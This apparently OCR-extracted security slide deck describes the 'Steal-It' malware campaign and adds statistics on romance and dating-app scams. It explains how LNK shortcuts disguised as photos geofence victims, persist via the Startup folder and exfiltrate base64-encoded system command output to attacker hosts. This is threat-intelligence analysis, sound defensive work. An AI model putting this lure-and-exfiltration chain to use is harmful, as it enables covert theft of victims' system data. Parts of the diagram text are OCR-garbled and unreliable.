campaign with the same characteristics, this time on a larger scale

and, surprisingly, targeted.

Based on the type of information collected and the characteristics
of the victims, each instance within the campaign can be
categorized into one of 4 scenarios.

A few of these scenarios involve the use of malware disguised as
photos of girls. Let us look into these cases in more detail.



https://t.me/hahacking
https://www.zscaler.com/blogs/security-research/steal-it-campaign

OTHER CASES HAHACKING
EXPLOITATION

STEAL-IT CAMPAIGN: SYSTEMINFO

If condition satisfied
downloads

3 < ; checks the followlng:
_———= - 05 used: Wind
LNK using MsEdge HTML . IP—Lﬂcatien:l":A:::alia"
OnlyFans

- RUN.MOCKY.IO - :
LNK File HTML PAGE w/ JS e e i B

Persistence: StartUp Folder

Execute: ipconfig, systeminfo, tasklist
Exfiltrate base6s encoded cmd output

ZIP archive MOCKEBIN.ORG
URL

The user receives an archive, which contains an LNK shortcut file. When the
user attempts to open the shortcut, the browser launches with a command-
line argument, a JavaScript code that opens the OnlyFans website and
redirects the user via location.href to the run[.]mocky[.]io instance
controlled by the attacker.

The malicious page has an embedded JavaScript code that checks if the
user's operating system is Windows and if their country, as determined by
IPAPI, the geolocation API, is Australia, and if these conditions are met,
downloads an LNK file m8 from blob and redirects the user to a legitimate
website. The downloaded file is moved to the Startup folder.

The m8.1nk downloads the m8.cmd file from the service controlled
by the attackers and places it nearby. Executing m8.cmd means:

e running commands ipconfig, systeminfo, tasklist
e sending Baseb64 encoded outputs of these commands to the C2
server
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STEAL-IT CAMPAIGN: WHOAM|

If condition satisfied
downloads

N < )h Checks the followlng: =
— T -OSused Windews
LNK using MsEdge HTML . IPvLﬂtatien:h“A::t'nlia"

OnlyFans

) RUN.MOCKY.IO
LNK File HTML PAGE w/ JS

Parsistence: StartUp Folder

Execute: ipconfig, systeminfo, tasklist
Exfiltrate base6s encoded cmd output

ZIP archive MOCKBIN.ORG
URL

Another scenario is similar to the previous one: the attacked users
infect their devices by unpacking an archive with photos and opening
a shortcut stored inside, which opens the browser and redirects the
user to run|. ]mocky|.]io . Now, before performing malicious actions,
they check that the user's country is Poland.

If the conditions are met, another archive is downloaded to the device.
It contains real photos of Slavic girls and a batch script file. When
the script is executed, it downloads malicious VBScript, opens girls’
profiles in content subscription services and downloads and runs an
additional CMD file from mockbin][. ]org

Finally, the eucv8o.cmd file:
e executes whoami command
e sends the Baseé4 encoded output to the C2 server
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Every year, the number of cybercrimes that prey on a nagging
sense of loneliness, exploit basic human needs and originate
from services where people look for deliverance is only
growing - this is supported by every study of related
statistics.

y % several large campaigns witnessed through our data. In Q1/2024, we
saw a significant increase since the middle of February.

Source:

<..> they noted a staggering 43% increase in attacks impersonating
well-established dating apps including Tinder and Hinge between 8
January 1, 2024, until February 5, 2024, compared to 2023.

Source: Egress Threat Intelligence g

In 2023, more than 660 million bot requests
on popular dating apps were detected.

Source: Ceguence

From February 12 to 14, running Fake Date scheme, scammers from 5 groups
earned 2 275 870 rubles, which is 2 times more than in the same period last year,
F.AC.C.T. analysts calculated. For comparison, in 2023, scammers from 7 scam
groups were able to steal 1.1 million rubles from victims.

Source: F.A.C.C.T.
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The desire to get closer through a dating app, the desire to chat
with a girl in her favorite chat, the desire to see photos that she
took for you - all these things are no longer safe and may lead to
unexpected consequences. Extra caution may lead to suspicion,
and suspicion undermines trust, which is a key ingridient make the
relationship work. It is in the romantic realm where the line between
strangers | potential partners, danger | curiosity, an attempt to
protect yourself | an intent to put up a wall - is absolutely blurred,
and this is frightening. In this matter, everyone is much more
vulnerable than they usually are, and attackers will actively
continue to exploit this fact without a twinge of conscience.
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